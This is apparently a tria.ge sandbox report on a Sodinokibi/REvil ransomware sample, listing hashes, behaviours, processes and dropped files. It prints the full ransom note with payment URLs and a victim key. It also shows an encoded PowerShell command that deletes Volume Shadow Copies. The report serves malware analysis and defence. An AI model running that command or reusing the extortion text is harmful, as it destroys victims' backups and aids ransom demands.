Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    137s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/05/2024, 09:21

General

  • Target

    1701c19d9610ee4be543815bff908281_JaffaCakes118.exe

  • Size

    165KB

  • MD5

    1701c19d9610ee4be543815bff908281

  • SHA1

    44821ddb87e0260ee8ba368e08c75b0ad3232923

  • SHA256

    6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20

  • SHA512

    6794cb5b710b5165dfb59a6dcecff7776dce69b452b82e51dd9d35ec951e15febe9d71ceedc7ea91845b0d6e8c4214e7c07935dd2c8dd6f5c372e35971eed5ae

  • SSDEEP

    3072:eCEq0R0nZ5ys5n4Y9doh7O79siUs/NabPos:lw02sJPi7O93N9s

Malware Config

Extracted

Path

C:\Users\vlk6s-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion vlk6s. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/966559B32AFAB1AF 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/966559B32AFAB1AF Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: yiUfm3EhvIJhfm2pEh25r15OFvz8da9K000Mk9bynm684HUjHQQkz1YMceQuIVjl awx/wdliQo5JvekVqZca7/9hMlzqdfbgDbMs+x50kpcvLY5gJ879F5hcmg3zu8b5 7totMSKNzfjXUwBh52UtzWLBMpvA/9FyRhy5Lyfy1k0sdBXvtmZZptQtQYEvQ6LJ bB2sQu2rSYhADKIAgCXROJ9Alz+XOCTZNzooUSEwO1wxHnj/ImDww8kXg4VqvXQm 7OAsyqkr0zYhuSgh3/9Sp9DBAS1u/I4qcDhGJ9ZJjNsWXrOVdprqgBSx/Zniax7M mKjEolzC1YGotz1G/qmrPyaVdGRXjccfh1GH9K3zd/QRr/jYcvhGF80xde0DqvPL HFZ7L4/rkAh+lmbmmwdAKVCsWlzmaiM9b/jPGBMd3/egtJu5Kwav65OWAFGGL+ao 0l2KCJYNcoeK9g7iwZ3vrL6/c60g7+LltibHudqKPugX/vPclvJ3lLXc5r7TnW06 Rny4UEjSPZrrnYNcsoTWKRfovvVD7XUeUGJPLlHsQOdicRgXKiZwlhV8ABm9L67r viyl6eslKsSCALmqpMCylkwj7YluqCnhS38WXzHMHtYztTG0PRpTbLHgs+WVOLgj 0pZAfGwBo76cGzObwBk/fURNh5cuiscwDKhfAYd3CkTD0QqS+68HWYoDcp7AiMkQ YTlPDdacV96LD0h0/nlkiS1Vope57VQgUrVOVaDIA36Q4KAr53Dt4rK7F2IlY2A3 iY+XrH6KxM7ZMDf3kXPFLsBP8UCGWNaW+JYIJFFN29GgEiN5SgLIvVEAWsKcZuMY SaAF8riWvf6eD441bsrtinm2T7XdrrQlXrh1oLjtnO/PzKYxOZmGRCsRudS+nJTW +/KYjNpHt2dTmSfJgOy1Xj/riIeIUpmXo/2ZYRcCOgYREjqZSuRelf1ykbbcg3Jm ELHWHa4ZBWlYp0GyiKhDxRZncAEamQfDfQp7466HoSFhNWKLB1gV57K3qsuL3K57 BqXsm1plEFc0fq7O4q38jKoU/ce4rL2DTPRXA6gPjfC0TLZ+Dd9WzzVlyctDXG6M vYIVM0ir+ZQJsc2pHHWMwzbGyNGzBOXOsowVU2BG6KREVMIuP754SeaZaGnskrY9 j7vEvE2FRaS7F9dPzNBZREUBlaiEb6Jr96Qj9YC76ionB7wiW8u2alde9KaZgyeE rx0Gbeh/wv8FfnjJ Extension name: vlk6s ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/966559B32AFAB1AF

http://decryptor.top/966559B32AFAB1AF

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 41 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\1701c19d9610ee4be543815bff908281_JaffaCakes118.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2508
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:3440
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2536

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_343jfxbp.lt1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\vlk6s-readme.txt

      Filesize

      6KB

      MD5

      7e7f7cee14b0712e117a6eb6483d3100

      SHA1

      1a392b025e2e020f085fe5e14e1c51b37f4c7f81

      SHA256

      539a03c6ba21457e143edd97afc0a8d957932cac8940dc2f30a3caceda883f6c

      SHA512

      d0c541679b3fc59287e7a808633e1cacd9c5ec5d90414870b1a4158bbf76d93093698a95e5b073997be6fe9e62421f457e6e2e22e852b23175366e83e5bad897

    • memory/2508-0-0x00007FFFAEF93000-0x00007FFFAEF95000-memory.dmp

      Filesize

      8KB

    • memory/2508-1-0x000001CD53480000-0x000001CD534A2000-memory.dmp

      Filesize

      136KB

    • memory/2508-11-0x00007FFFAEF90000-0x00007FFFAFA51000-memory.dmp

      Filesize

      10.8MB

    • memory/2508-12-0x00007FFFAEF90000-0x00007FFFAFA51000-memory.dmp

      Filesize

      10.8MB

    • memory/2508-15-0x00007FFFAEF90000-0x00007FFFAFA51000-memory.dmp

      Filesize

      10.8MB